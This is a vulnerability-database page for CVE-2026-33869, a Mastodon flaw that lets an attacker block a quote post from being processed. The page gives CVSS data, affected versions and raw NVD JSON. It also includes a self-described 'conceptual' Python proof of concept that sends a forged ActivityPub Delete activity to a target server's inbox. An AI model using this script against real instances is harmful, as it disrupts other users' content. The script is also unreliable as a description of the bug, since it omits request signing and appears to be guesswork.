Security Vulnerability Report
中文
CVE-2026-33869 CVSS 4.8 MEDIUM

CVE-2026-33869

Published: 2026-03-27 20:16:35
Last Modified: 2026-03-30 19:12:07

Description

Mastodon is a free, open-source social network server based on ActivityPub. In versions on the 4.5.x branch prior to 4.5.8 and on the 4.4.x branch prior to 4.4.15, an attacker that knows of a quote before it has reached a server can prevent it from being correctly processed on that server. The vulnerability has been patched in Mastodon 4.5.8 and 4.4.15. Mastodon 4.3 and earlier are not affected because they do not support quotes.

CVSS Details

CVSS Score
4.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:* - VULNERABLE
Mastodon 4.5.x < 4.5.8
Mastodon 4.4.x < 4.4.15

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # Conceptual Proof of Concept for CVE-2026-33869 # This script demonstrates how an attacker might preemptively send a request # to block a legitimate quote post from being processed. def send_preemptive_delete(target_inbox, object_id, actor_url): """ Sends a Delete activity to the target inbox to remove an object before it is processed. """ headers = { "Content-Type": "application/activity+json" } # Construct a malicious ActivityPub 'Delete' payload payload = { "@context": "https://www.w3.org/ns/activitystreams", "id": f"{actor_url}#delete-{object_id}", "type": "Delete", "actor": actor_url, "object": object_id, "to": ["https://www.w3.org/ns/activitystreams#Public"] } try: response = requests.post(target_inbox, data=json.dumps(payload), headers=headers) if response.status_code == 200 or response.status_code == 202: print(f"[+] Success: Preemptive request sent for {object_id}") print("[+] The legitimate quote may now be blocked on the target server.") else: print(f"[-] Failed: Server returned {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Example configuration TARGET_SERVER_INBOX = "https://target-mastodon-instance.com/inbox" QUOTE_OBJECT_ID = "https://original-server.com/objects/quote-12345" ATTACKER_ACTOR = "https://attacker-controlled.com/actor" send_preemptive_delete(TARGET_SERVER_INBOX, QUOTE_OBJECT_ID, ATTACKER_ACTOR)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33869", "sourceIdentifier": "[email protected]", "published": "2026-03-27T20:16:34.500", "lastModified": "2026-03-30T19:12:07.253", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mastodon is a free, open-source social network server based on ActivityPub. In versions on the 4.5.x branch prior to 4.5.8 and on the 4.4.x branch prior to 4.4.15, an attacker that knows of a quote before it has reached a server can prevent it from being correctly processed on that server. The vulnerability has been patched in Mastodon 4.5.8 and 4.4.15. Mastodon 4.3 and earlier are not affected because they do not support quotes."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndExcluding": "4.4.15", "matchCriteriaId": "A37B2AD4-5027-464B-947A-63BDB06C33B8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.5.0", "versionEndExcluding": "4.5.8", "matchCriteriaId": "BE32DA85-D71D-4CB8-8216-205780DBBB6A"}]}]}], "references": [{"url": "https://github.com/mastodon/mastodon/security/advisories/GHSA-q4g8-82c5-9h33", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}